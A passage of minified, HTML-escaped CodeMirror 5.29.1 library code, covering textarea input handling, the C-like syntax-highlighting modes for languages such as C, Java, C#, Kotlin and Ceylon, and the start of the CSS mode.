f=e.charCodeAt(0);if(8203!=f||d||(d=&quot;\u200b&quot;),8666==f)return this.reset(),this.cm.execCommand(&quot;undo&quot;)}for(var g=0,h=Math.min(d.length,e.length);g&lt;h&amp;&amp;d.charCodeAt(g)==e.charCodeAt(g);)++g;return md(b,function(){Tf(b,e.slice(g),d.length-g,null,a.composing?&quot;*compose&quot;:null),e.length&gt;1e3||e.indexOf(&quot;\n&quot;)&gt;-1?c.value=a.prevInput=&quot;&quot;:a.prevInput=e,a.composing&amp;&amp;(a.composing.range.clear(),a.composing.range=b.markText(a.composing.start,b.getCursor(&quot;to&quot;),{className:&quot;CodeMirror-composing&quot;}))}),!0},$h.prototype.ensurePolled=function(){this.pollingFast&amp;&amp;this.poll()&amp;&amp;(this.pollingFast=!1)},$h.prototype.onKeyPress=function(){ng&amp;&amp;og&gt;=9&amp;&amp;(this.hasSelection=null),this.fastPoll()},$h.prototype.onContextMenu=function(a){function b(){if(null!=g.selectionStart){var a=e.somethingSelected(),b=&quot;\u200b&quot;+(a?g.value:&quot;&quot;);g.value=&quot;\u21da&quot;,g.value=b,d.prevInput=a?&quot;&quot;:&quot;\u200b&quot;,g.selectionStart=1,g.selectionEnd=b.length,f.selForContextMenu=e.doc.sel}}function c(){if(d.contextMenuPending=!1,d.wrapper.style.cssText=l,g.style.cssText=k,ng&amp;&amp;og&lt;9&amp;&amp;f.scrollbars.setScrollTop(f.scroller.scrollTop=i),null!=g.selectionStart){(!ng||ng&amp;&amp;og&lt;9)&amp;&amp;b();var a=0,c=function(){f.selForContextMenu==e.doc.sel&amp;&amp;0==g.selectionStart&amp;&amp;g.selectionEnd&gt;0&amp;&amp;&quot;\u200b&quot;==d.prevInput?nd(e,Be)(e):a++&lt;10?f.detectingSelectAll=setTimeout(c,500):(f.selForContextMenu=null,f.input.reset())};f.detectingSelectAll=setTimeout(c,200)}}var d=this,e=d.cm,f=e.display,g=d.textarea,h=yc(e,a),i=f.scroller.scrollTop;if(h&amp;&amp;!sg){var j=e.options.resetSelectionOnContextMenu;j&amp;&amp;e.doc.sel.contains(h)==-1&amp;&amp;nd(e,te)(e.doc,Nd(h),Ng);var k=g.style.cssText,l=d.wrapper.style.cssText;d.wrapper.style.cssText=&quot;position: absolute&quot;;var m=d.wrapper.getBoundingClientRect();g.style.cssText=&quot;position: absolute; width: 30px; height: 30px;\n      top: &quot;+(a.clientY-m.top-5)+&quot;px; left: &quot;+(a.clientX-m.left-5)+&quot;px;\n      z-index: 1000; background: &quot;+(ng?&quot;rgba(255, 255, 255, .05)&quot;:&quot;transparent&quot;)+&quot;;\n      outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);&quot;;var n;if(pg&amp;&amp;(n=window.scrollY),f.input.focus(),pg&amp;&amp;window.scrollTo(null,n),f.input.reset(),e.somethingSelected()||(g.value=d.prevInput=&quot; &quot;),d.contextMenuPending=!0,f.selForContextMenu=e.doc.sel,clearTimeout(f.detectingSelectAll),ng&amp;&amp;og&gt;=9&amp;&amp;b(),Fg){Ma(a);var o=function(){Da(window,&quot;mouseup&quot;,o),setTimeout(c,20)};Yg(window,&quot;mouseup&quot;,o)}else setTimeout(c,50)}},$h.prototype.readOnlyChanged=function(a){a||this.reset(),this.textarea.disabled=&quot;nocursor&quot;==a},$h.prototype.setUneditable=function(){},$h.prototype.needsContentAttribute=!1,Lf(Pf),Yh(Pf);var _h=&quot;iter insert remove copy getEditor constructor&quot;.split(&quot; &quot;);for(var ai in Eh.prototype)Eh.prototype.hasOwnProperty(ai)&amp;&amp;m(_h,ai)&lt;0&amp;&amp;(Pf.prototype[ai]=function(a){return function(){return a.apply(this.doc,arguments)}}(Eh.prototype[ai]));return Ia(Eh),Pf.inputStyles={textarea:$h,contenteditable:Zh},Pf.defineMode=function(a){Pf.defaults.mode||&quot;null&quot;==a||(Pf.defaults.mode=a),Sa.apply(this,arguments)},Pf.defineMIME=Ta,Pf.defineMode(&quot;null&quot;,function(){return{token:function(a){return a.skipToEnd()}}}),Pf.defineMIME(&quot;text/plain&quot;,&quot;null&quot;),Pf.defineExtension=function(a,b){Pf.prototype[a]=b},Pf.defineDocExtension=function(a,b){Eh.prototype[a]=b},Pf.fromTextArea=fg,gg(Pf),Pf.version=&quot;5.29.1&quot;,Pf})},{}],60:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b,c,d,e,f){this.indented=a,this.column=b,this.type=c,this.info=d,this.align=e,this.prev=f}function c(a,c,d,e){var f=a.indented;return a.context&amp;&amp;&quot;statement&quot;==a.context.type&amp;&amp;&quot;statement&quot;!=d&amp;&amp;(f=a.context.indented),a.context=new b(f,c,d,e,null,a.context)}function d(a){var b=a.context.type;return&quot;)&quot;!=b&amp;&amp;&quot;]&quot;!=b&amp;&amp;&quot;}&quot;!=b||(a.indented=a.context.indented),a.context=a.context.prev}function e(a,b,c){return&quot;variable&quot;==b.prevToken||&quot;type&quot;==b.prevToken||(!!/\S(?:[^- ]&gt;|[*\]])\s*$|\*$/.test(a.string.slice(0,c))||(!(!b.typeAtEndOfLine||a.column()!=a.indentation())||void 0))}function f(a){for(;;){if(!a||&quot;top&quot;==a.type)return!0;if(&quot;}&quot;==a.type&amp;&amp;&quot;namespace&quot;!=a.prev.info)return!1;a=a.prev}}function g(a){for(var b={},c=a.split(&quot; &quot;),d=0;d&lt;c.length;++d)b[c[d]]=!0;return b}function h(a,b){return&quot;function&quot;==typeof a?a(b):a.propertyIsEnumerable(b)}function i(a,b){if(!b.startOfLine)return!1;for(var c,d=null;c=a.peek();){if(&quot;\\&quot;==c&amp;&amp;a.match(/^.$/)){d=i;break}if(&quot;/&quot;==c&amp;&amp;a.match(/^\/[\/\*]/,!1))break;a.next()}return b.tokenize=d,&quot;meta&quot;}function j(a,b){return&quot;type&quot;==b.prevToken&amp;&amp;&quot;type&quot;}function k(a){return a.eatWhile(/[\w\.&#039;]/),&quot;number&quot;}function l(a,b){if(a.backUp(1),a.match(/(R|u8R|uR|UR|LR)/)){var c=a.match(/&quot;([^\s\\()]{0,16})\(/);return!!c&amp;&amp;(b.cpp11RawStringDelim=c[1],b.tokenize=o,o(a,b))}return a.match(/(u8|u|U|L)/)?!!a.match(/[&quot;&#039;]/,!1)&amp;&amp;&quot;string&quot;:(a.next(),!1)}function m(a){var b=/(\w+)::~?(\w+)$/.exec(a);return b&amp;&amp;b[1]==b[2]}function n(a,b){for(var c;null!=(c=a.next());)if(&#039;&quot;&#039;==c&amp;&amp;!a.eat(&#039;&quot;&#039;)){b.tokenize=null;break}return&quot;string&quot;}function o(a,b){var c=b.cpp11RawStringDelim.replace(/[^\w\s]/g,&quot;\\$&amp;&quot;),d=a.match(new RegExp(&quot;.*?\\)&quot;+c+&#039;&quot;&#039;));return d?b.tokenize=null:a.skipToEnd(),&quot;string&quot;}function p(b,c){function d(a){if(a)for(var b in a)a.hasOwnProperty(b)&amp;&amp;e.push(b)}&quot;string&quot;==typeof b&amp;&amp;(b=[b]);var e=[];d(c.keywords),d(c.types),d(c.builtin),d(c.atoms),e.length&amp;&amp;(c.helperType=b[0],a.registerHelper(&quot;hintWords&quot;,b[0],e));for(var f=0;f&lt;b.length;++f)a.defineMIME(b[f],c)}function q(a,b){for(var c=!1;!a.eol();){if(!c&amp;&amp;a.match(&#039;&quot;&quot;&quot;&#039;)){b.tokenize=null;break}c=&quot;\\&quot;==a.next()&amp;&amp;!c}return&quot;string&quot;}function r(a){return function(b,c){for(var d,e=!1,f=!1;!b.eol();){if(!a&amp;&amp;!e&amp;&amp;b.match(&#039;&quot;&#039;)){f=!0;break}if(a&amp;&amp;b.match(&#039;&quot;&quot;&quot;&#039;)){f=!0;break}d=b.next(),!e&amp;&amp;&quot;$&quot;==d&amp;&amp;b.match(&quot;{&quot;)&amp;&amp;b.skipTo(&quot;}&quot;),e=!e&amp;&amp;&quot;\\&quot;==d&amp;&amp;!a}return!f&amp;&amp;a||(c.tokenize=null),&quot;string&quot;}}function s(a){return function(b,c){for(var d,e=!1,f=!1;!b.eol();){if(!e&amp;&amp;b.match(&#039;&quot;&#039;)&amp;&amp;(&quot;single&quot;==a||b.match(&#039;&quot;&quot;&#039;))){f=!0;break}if(!e&amp;&amp;b.match(&quot;``&quot;)){v=s(a),f=!0;break}d=b.next(),e=&quot;single&quot;==a&amp;&amp;!e&amp;&amp;&quot;\\&quot;==d}return f&amp;&amp;(c.tokenize=null),&quot;string&quot;}}a.defineMode(&quot;clike&quot;,function(g,i){function j(a,b){var c=a.next();if(y[c]){var d=y[c](a,b);if(d!==!1)return d}if(&#039;&quot;&#039;==c||&quot;&#039;&quot;==c)return b.tokenize=k(c),b.tokenize(a,b);if(D.test(c))return n=c,null;if(E.test(c)){if(a.backUp(1),a.match(F))return&quot;number&quot;;a.next()}if(&quot;/&quot;==c){if(a.eat(&quot;*&quot;))return b.tokenize=l,l(a,b);if(a.eat(&quot;/&quot;))return a.skipToEnd(),&quot;comment&quot;}if(G.test(c)){for(;!a.match(/^\/[\/*]/,!1)&amp;&amp;a.eat(G););return&quot;operator&quot;}if(a.eatWhile(H),C)for(;a.match(C);)a.eatWhile(H);var e=a.current();return h(s,e)?(h(v,e)&amp;&amp;(n=&quot;newstatement&quot;),h(w,e)&amp;&amp;(o=!0),&quot;keyword&quot;):h(t,e)?&quot;type&quot;:h(u,e)?(h(v,e)&amp;&amp;(n=&quot;newstatement&quot;),&quot;builtin&quot;):h(x,e)?&quot;atom&quot;:&quot;variable&quot;}function k(a){return function(b,c){for(var d,e=!1,f=!1;null!=(d=b.next());){if(d==a&amp;&amp;!e){f=!0;break}e=!e&amp;&amp;&quot;\\&quot;==d}return(f||!e&amp;&amp;!z)&amp;&amp;(c.tokenize=null),&quot;string&quot;}}function l(a,b){for(var c,d=!1;c=a.next();){if(&quot;/&quot;==c&amp;&amp;d){b.tokenize=null;break}d=&quot;*&quot;==c}return&quot;comment&quot;}function m(a,b){i.typeFirstDefinitions&amp;&amp;a.eol()&amp;&amp;f(b.context)&amp;&amp;(b.typeAtEndOfLine=e(a,b,a.pos))}var n,o,p=g.indentUnit,q=i.statementIndentUnit||p,r=i.dontAlignCalls,s=i.keywords||{},t=i.types||{},u=i.builtin||{},v=i.blockKeywords||{},w=i.defKeywords||{},x=i.atoms||{},y=i.hooks||{},z=i.multiLineStrings,A=i.indentStatements!==!1,B=i.indentSwitch!==!1,C=i.namespaceSeparator,D=i.isPunctuationChar||/[\[\]{}\(\),;\:\.]/,E=i.numberStart||/[\d\.]/,F=i.number||/^(?:0x[a-f\d]+|0b[01]+|(?:\d+\.?\d*|\.\d+)(?:e[-+]?\d+)?)(u|ll?|l|f)?/i,G=i.isOperatorChar||/[+\-*&amp;%=&lt;&gt;!?|\/]/,H=i.isIdentifierChar||/[\w\$_\xa1-\uffff]/;return{startState:function(a){return{tokenize:null,context:new b((a||0)-p,0,&quot;top&quot;,null,!1),indented:0,
startOfLine:!0,prevToken:null}},token:function(a,b){var g=b.context;if(a.sol()&amp;&amp;(null==g.align&amp;&amp;(g.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return m(a,b),null;n=o=null;var h=(b.tokenize||j)(a,b);if(&quot;comment&quot;==h||&quot;meta&quot;==h)return h;if(null==g.align&amp;&amp;(g.align=!0),&quot;;&quot;==n||&quot;:&quot;==n||&quot;,&quot;==n&amp;&amp;a.match(/^\s*(?:\/\/.*)?$/,!1))for(;&quot;statement&quot;==b.context.type;)d(b);else if(&quot;{&quot;==n)c(b,a.column(),&quot;}&quot;);else if(&quot;[&quot;==n)c(b,a.column(),&quot;]&quot;);else if(&quot;(&quot;==n)c(b,a.column(),&quot;)&quot;);else if(&quot;}&quot;==n){for(;&quot;statement&quot;==g.type;)g=d(b);for(&quot;}&quot;==g.type&amp;&amp;(g=d(b));&quot;statement&quot;==g.type;)g=d(b)}else n==g.type?d(b):A&amp;&amp;((&quot;}&quot;==g.type||&quot;top&quot;==g.type)&amp;&amp;&quot;;&quot;!=n||&quot;statement&quot;==g.type&amp;&amp;&quot;newstatement&quot;==n)&amp;&amp;c(b,a.column(),&quot;statement&quot;,a.current());if(&quot;variable&quot;==h&amp;&amp;(&quot;def&quot;==b.prevToken||i.typeFirstDefinitions&amp;&amp;e(a,b,a.start)&amp;&amp;f(b.context)&amp;&amp;a.match(/^\s*\(/,!1))&amp;&amp;(h=&quot;def&quot;),y.token){var k=y.token(a,b,h);void 0!==k&amp;&amp;(h=k)}return&quot;def&quot;==h&amp;&amp;i.styleDefs===!1&amp;&amp;(h=&quot;variable&quot;),b.startOfLine=!1,b.prevToken=o?&quot;def&quot;:h||n,m(a,b),h},indent:function(b,c){if(b.tokenize!=j&amp;&amp;null!=b.tokenize||b.typeAtEndOfLine)return a.Pass;var d=b.context,e=c&amp;&amp;c.charAt(0);if(&quot;statement&quot;==d.type&amp;&amp;&quot;}&quot;==e&amp;&amp;(d=d.prev),i.dontIndentStatements)for(;&quot;statement&quot;==d.type&amp;&amp;i.dontIndentStatements.test(d.info);)d=d.prev;if(y.indent){var f=y.indent(b,d,c);if(&quot;number&quot;==typeof f)return f}var g=e==d.type,h=d.prev&amp;&amp;&quot;switch&quot;==d.prev.info;if(i.allmanIndentation&amp;&amp;/[{(]/.test(e)){for(;&quot;top&quot;!=d.type&amp;&amp;&quot;}&quot;!=d.type;)d=d.prev;return d.indented}return&quot;statement&quot;==d.type?d.indented+(&quot;{&quot;==e?0:q):!d.align||r&amp;&amp;&quot;)&quot;==d.type?&quot;)&quot;!=d.type||g?d.indented+(g?0:p)+(g||!h||/^(?:case|default)\b/.test(c)?0:p):d.indented+q:d.column+(g?0:1)},electricInput:B?/^\s*(?:case .*?:|default:|\{\}?|\})$/:/^\s*[{}]$/,blockCommentStart:&quot;/*&quot;,blockCommentEnd:&quot;*/&quot;,lineComment:&quot;//&quot;,fold:&quot;brace&quot;}});var t=&quot;auto if break case register continue return default do sizeof static else struct switch extern typedef union for goto while enum const volatile&quot;,u=&quot;int long char short double float unsigned signed void size_t ptrdiff_t&quot;;p([&quot;text/x-csrc&quot;,&quot;text/x-c&quot;,&quot;text/x-chdr&quot;],{name:&quot;clike&quot;,keywords:g(t),types:g(u+&quot; bool _Complex _Bool float_t double_t intptr_t intmax_t int8_t int16_t int32_t int64_t uintptr_t uintmax_t uint8_t uint16_t uint32_t uint64_t&quot;),blockKeywords:g(&quot;case do else for if switch while struct&quot;),defKeywords:g(&quot;struct&quot;),typeFirstDefinitions:!0,atoms:g(&quot;null true false&quot;),hooks:{&quot;#&quot;:i,&quot;*&quot;:j},modeProps:{fold:[&quot;brace&quot;,&quot;include&quot;]}}),p([&quot;text/x-c++src&quot;,&quot;text/x-c++hdr&quot;],{name:&quot;clike&quot;,keywords:g(t+&quot; asm dynamic_cast namespace reinterpret_cast try explicit new static_cast typeid catch operator template typename class friend private this using const_cast inline public throw virtual delete mutable protected alignas alignof constexpr decltype nullptr noexcept thread_local final static_assert override&quot;),types:g(u+&quot; bool wchar_t&quot;),blockKeywords:g(&quot;catch class do else finally for if struct switch try while&quot;),defKeywords:g(&quot;class namespace struct enum union&quot;),typeFirstDefinitions:!0,atoms:g(&quot;true false null&quot;),dontIndentStatements:/^template$/,isIdentifierChar:/[\w\$_~\xa1-\uffff]/,hooks:{&quot;#&quot;:i,&quot;*&quot;:j,u:l,U:l,L:l,R:l,0:k,1:k,2:k,3:k,4:k,5:k,6:k,7:k,8:k,9:k,token:function(a,b,c){if(&quot;variable&quot;==c&amp;&amp;&quot;(&quot;==a.peek()&amp;&amp;(&quot;;&quot;==b.prevToken||null==b.prevToken||&quot;}&quot;==b.prevToken)&amp;&amp;m(a.current()))return&quot;def&quot;}},namespaceSeparator:&quot;::&quot;,modeProps:{fold:[&quot;brace&quot;,&quot;include&quot;]}}),p(&quot;text/x-java&quot;,{name:&quot;clike&quot;,keywords:g(&quot;abstract assert break case catch class const continue default do else enum extends final finally float for goto if implements import instanceof interface native new package private protected public return static strictfp super switch synchronized this throw throws transient try volatile while @interface&quot;),types:g(&quot;byte short int long float double boolean char void Boolean Byte Character Double Float Integer Long Number Object Short String StringBuffer StringBuilder Void&quot;),blockKeywords:g(&quot;catch class do else finally for if switch try while&quot;),defKeywords:g(&quot;class interface package enum @interface&quot;),typeFirstDefinitions:!0,atoms:g(&quot;true false null&quot;),number:/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+\.?\d*|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,hooks:{&quot;@&quot;:function(a){return!a.match(&quot;interface&quot;,!1)&amp;&amp;(a.eatWhile(/[\w\$_]/),&quot;meta&quot;)}},modeProps:{fold:[&quot;brace&quot;,&quot;import&quot;]}}),p(&quot;text/x-csharp&quot;,{name:&quot;clike&quot;,keywords:g(&quot;abstract as async await base break case catch checked class const continue default delegate do else enum event explicit extern finally fixed for foreach goto if implicit in interface internal is lock namespace new operator out override params private protected public readonly ref return sealed sizeof stackalloc static struct switch this throw try typeof unchecked unsafe using virtual void volatile while add alias ascending descending dynamic from get global group into join let orderby partial remove select set value var yield&quot;),types:g(&quot;Action Boolean Byte Char DateTime DateTimeOffset Decimal Double Func Guid Int16 Int32 Int64 Object SByte Single String Task TimeSpan UInt16 UInt32 UInt64 bool byte char decimal double short int long object sbyte float string ushort uint ulong&quot;),blockKeywords:g(&quot;catch class do else finally for foreach if struct switch try while&quot;),defKeywords:g(&quot;class interface namespace struct var&quot;),typeFirstDefinitions:!0,atoms:g(&quot;true false null&quot;),hooks:{&quot;@&quot;:function(a,b){return a.eat(&#039;&quot;&#039;)?(b.tokenize=n,n(a,b)):(a.eatWhile(/[\w\$_]/),&quot;meta&quot;)}}}),p(&quot;text/x-scala&quot;,{name:&quot;clike&quot;,keywords:g(&quot;abstract case catch class def do else extends final finally for forSome if implicit import lazy match new null object override package private protected return sealed super this throw trait try type val var while with yield _ assert assume require print println printf readLine readBoolean readByte readShort readChar readInt readLong readFloat readDouble&quot;),types:g(&quot;AnyVal App Application Array BufferedIterator BigDecimal BigInt Char Console Either Enumeration Equiv Error Exception Fractional Function IndexedSeq Int Integral Iterable Iterator List Map Numeric Nil NotNull Option Ordered Ordering PartialFunction PartialOrdering Product Proxy Range Responder Seq Serializable Set Specializable Stream StringBuilder StringContext Symbol Throwable Traversable TraversableOnce Tuple Unit Vector Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void&quot;),multiLineStrings:!0,blockKeywords:g(&quot;catch class enum do else finally for forSome if match switch try while&quot;),defKeywords:g(&quot;class enum def object package trait type val var&quot;),atoms:g(&quot;true false null&quot;),indentStatements:!1,indentSwitch:!1,isOperatorChar:/[+\-*&amp;%=&lt;&gt;!?|\/#:@]/,hooks:{&quot;@&quot;:function(a){return a.eatWhile(/[\w\$_]/),&quot;meta&quot;},&#039;&quot;&#039;:function(a,b){return!!a.match(&#039;&quot;&quot;&#039;)&amp;&amp;(b.tokenize=q,b.tokenize(a,b))},&quot;&#039;&quot;:function(a){return a.eatWhile(/[\w\$_\xa1-\uffff]/),&quot;atom&quot;},&quot;=&quot;:function(a,c){var d=c.context;return!(&quot;}&quot;!=d.type||!d.align||!a.eat(&quot;&gt;&quot;))&amp;&amp;(c.context=new b(d.indented,d.column,d.type,d.info,null,d.prev),&quot;operator&quot;)}},modeProps:{closeBrackets:{triples:&#039;&quot;&#039;}}}),p(&quot;text/x-kotlin&quot;,{name:&quot;clike&quot;,keywords:g(&quot;package as typealias class interface this super val var fun for is in This throw return break continue object if else while do try when !in !is as? file import where by get set abstract enum open inner override private public internal protected catch finally out final vararg reified dynamic companion constructor init sealed field property receiver param sparam lateinit data inline noinline tailrec external annotation crossinline const operator infix suspend&quot;),types:g(&quot;Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void&quot;),intendSwitch:!1,indentStatements:!1,multiLineStrings:!0,number:/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+\.?\d*|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,blockKeywords:g(&quot;catch class do else finally for if where try while enum&quot;),defKeywords:g(&quot;class val var object package interface fun&quot;),atoms:g(&quot;true false null this&quot;),hooks:{&#039;&quot;&#039;:function(a,b){return b.tokenize=r(a.match(&#039;&quot;&quot;&#039;)),b.tokenize(a,b)}},modeProps:{closeBrackets:{triples:&#039;&quot;&#039;}}}),p([&quot;x-shader/x-vertex&quot;,&quot;x-shader/x-fragment&quot;],{name:&quot;clike&quot;,keywords:g(&quot;sampler1D sampler2D sampler3D samplerCube sampler1DShadow sampler2DShadow const attribute uniform varying break continue discard return for while do if else struct in out inout&quot;),types:g(&quot;float int bool void vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 mat2 mat3 mat4&quot;),blockKeywords:g(&quot;for while do if else struct&quot;),builtin:g(&quot;radians degrees sin cos tan asin acos atan pow exp log exp2 sqrt inversesqrt abs sign floor ceil fract mod min max clamp mix step smoothstep length distance dot cross normalize ftransform faceforward reflect refract matrixCompMult lessThan lessThanEqual greaterThan greaterThanEqual equal notEqual any all not texture1D texture1DProj texture1DLod texture1DProjLod texture2D texture2DProj texture2DLod texture2DProjLod texture3D texture3DProj texture3DLod texture3DProjLod textureCube textureCubeLod shadow1D shadow2D shadow1DProj shadow2DProj shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod dFdx dFdy fwidth noise1 noise2 noise3 noise4&quot;),atoms:g(&quot;true false gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_FogCoord gl_PointCoord gl_Position gl_PointSize gl_ClipVertex gl_FrontColor gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor gl_TexCoord gl_FogFragCoord gl_FragCoord gl_FrontFacing gl_FragData gl_FragDepth gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose gl_ProjectionMatrixInverseTranspose gl_ModelViewProjectionMatrixInverseTranspose gl_TextureMatrixInverseTranspose gl_NormalScale gl_DepthRange gl_ClipPlane gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel gl_FrontLightModelProduct gl_BackLightModelProduct gl_TextureColor gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ gl_FogParameters gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits gl_MaxDrawBuffers&quot;),indentSwitch:!1,hooks:{&quot;#&quot;:i},modeProps:{fold:[&quot;brace&quot;,&quot;include&quot;]}}),p(&quot;text/x-nesc&quot;,{name:&quot;clike&quot;,keywords:g(t+&quot;as atomic async call command component components configuration event generic implementation includes interface module new norace nx_struct nx_union post provides signal task uses abstract extends&quot;),types:g(u),blockKeywords:g(&quot;case do else for if switch while struct&quot;),atoms:g(&quot;null true false&quot;),hooks:{&quot;#&quot;:i},modeProps:{fold:[&quot;brace&quot;,&quot;include&quot;]}}),p(&quot;text/x-objectivec&quot;,{name:&quot;clike&quot;,keywords:g(t+&quot;inline restrict _Bool _Complex _Imaginary BOOL Class bycopy byref id IMP in inout nil oneway out Protocol SEL self super atomic nonatomic retain copy readwrite readonly&quot;),types:g(u),atoms:g(&quot;YES NO NULL NILL ON OFF true false&quot;),hooks:{&quot;@&quot;:function(a){return a.eatWhile(/[\w\$]/),&quot;keyword&quot;},&quot;#&quot;:i,indent:function(a,b,c){if(&quot;statement&quot;==b.type&amp;&amp;/^@\w/.test(c))return b.indented}},modeProps:{fold:&quot;brace&quot;}}),p(&quot;text/x-squirrel&quot;,{name:&quot;clike&quot;,keywords:g(&quot;base break clone continue const default delete enum extends function in class foreach local resume return this throw typeof yield constructor instanceof static&quot;),types:g(u),blockKeywords:g(&quot;case catch class else for foreach if switch try while&quot;),defKeywords:g(&quot;function local class&quot;),typeFirstDefinitions:!0,atoms:g(&quot;true false null&quot;),hooks:{&quot;#&quot;:i},modeProps:{fold:[&quot;brace&quot;,&quot;include&quot;]}});var v=null;p(&quot;text/x-ceylon&quot;,{name:&quot;clike&quot;,keywords:g(&quot;abstracts alias assembly assert assign break case catch class continue dynamic else exists extends finally for function given if import in interface is let module new nonempty object of out outer package return satisfies super switch then this throw try value void while&quot;),types:function(a){var b=a.charAt(0);return b===b.toUpperCase()&amp;&amp;b!==b.toLowerCase()},blockKeywords:g(&quot;case catch class dynamic else finally for function if interface module new object switch try while&quot;),defKeywords:g(&quot;class dynamic function interface module object package value&quot;),builtin:g(&quot;abstract actual aliased annotation by default deprecated doc final formal late license native optional sealed see serializable shared suppressWarnings tagged throws variable&quot;),isPunctuationChar:/[\[\]{}\(\),;\:\.`]/,isOperatorChar:/[+\-*&amp;%=&lt;&gt;!?|^~:\/]/,numberStart:/[\d#$]/,number:/^(?:#[\da-fA-F_]+|\$[01_]+|[\d_]+[kMGTPmunpf]?|[\d_]+\.[\d_]+(?:[eE][-+]?\d+|[kMGTPmunpf]|)|)/i,multiLineStrings:!0,typeFirstDefinitions:!0,atoms:g(&quot;true false null larger smaller equal empty finished&quot;),indentSwitch:!1,styleDefs:!1,hooks:{&quot;@&quot;:function(a){return a.eatWhile(/[\w\$_]/),&quot;meta&quot;},&#039;&quot;&#039;:function(a,b){return b.tokenize=s(a.match(&#039;&quot;&quot;&#039;)?&quot;triple&quot;:&quot;single&quot;),b.tokenize(a,b)},&quot;`&quot;:function(a,b){return!(!v||!a.match(&quot;`&quot;))&amp;&amp;(b.tokenize=v,v=null,b.tokenize(a,b))},&quot;&#039;&quot;:function(a){return a.eatWhile(/[\w\$_\xa1-\uffff]/),&quot;atom&quot;},token:function(a,b,c){if((&quot;variable&quot;==c||&quot;type&quot;==c)&amp;&amp;&quot;.&quot;==b.prevToken)return&quot;variable-2&quot;}},modeProps:{fold:[&quot;brace&quot;,&quot;import&quot;],closeBrackets:{triples:&#039;&quot;&#039;}}})})},{&quot;../../lib/codemirror&quot;:59}],61:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){for(var b={},c=0;c&lt;a.length;++c)b[a[c].toLowerCase()]=!0;return b}function c(a,b){for(var c,d=!1;null!=(c=a.next());){if(d&amp;&amp;&quot;/&quot;==c){b.tokenize=null;break}d=&quot;*&quot;==c}return[&quot;comment&quot;,&quot;comment&quot;]}a.defineMode(&quot;css&quot;,function(b,c){function d(a,b){return o=b,a}function e(a,b){var c=a.next();if(r[c]){var e=r[c](a,b);if(e!==!1)return e}return&quot;@&quot;==c?(a.eatWhile(/[\w\\\-]/),d(&quot;def&quot;,a.current())):&quot;=&quot;==c||(&quot;~&quot;==c||&quot;|&quot;==c)&amp;&amp;a.eat(&quot;=&quot;)?d(null,&quot;compare&quot;):&#039;&quot;&#039;==c||&quot;&#039;&quot;==c?(b.tokenize=f(c),b.tokenize(a,b)):&quot;#&quot;==c?(a.eatWhile(/[\w\\\-]/),d(&quot;atom&quot;,&quot;hash&quot;)):&quot;!&quot;==c?(a.match(/^\s*\w*/),d(&quot;keyword&quot;,&quot;important&quot;)):/\d/.test(c)||&quot;.&quot;==c&amp;&amp;a.eat(/\d/)?(a.eatWhile(/[\w.%]/),d(&quot;number&quot;,&quot;unit&quot;)):&quot;-&quot;!==c?/[,+&gt;*\/]/.test(c)?d(null,&quot;select-op&quot;):&quot;.&quot;==c&amp;&amp;a.match(/^-?[_a-z][_a-z0-9-]*/i)?d(&quot;qualifier&quot;,&quot;qualifier&quot;):/[:;{}\[\]\(\)]/.test(c)?d(null,c):&quot;u&quot;==c&amp;&amp;a.match(/rl(-prefix)?\(/)||&quot;d&quot;==c&amp;&amp;a.match(&quot;omain(&quot;)||&quot;r&quot;==c&amp;&amp;a.match(&quot;egexp(&quot;)?(a.backUp(1),b.tokenize=g,d(&quot;property&quot;,&quot;word&quot;)):/[\w\\\-]/.test(c)?(a.eatWhile(/[\w\\\-]/),d(&quot;property&quot;,&quot;word&quot;)):d(null,null):/[\d.]/.test(a.peek())?(a.eatWhile(/[\w.%]/),d(&quot;number&quot;,&quot;unit&quot;)):a.match(/^-[\w\\\-]+/)?(a.eatWhile(/[\w\\\-]/),a.match(/^\s*:/,!1)?d(&quot;variable-2&quot;,&quot;variable-definition&quot;):d(&quot;variable-2&quot;,&quot;variable&quot;)):a.match(/^\w+-/)?d(&quot;meta&quot;,&quot;meta&quot;):void 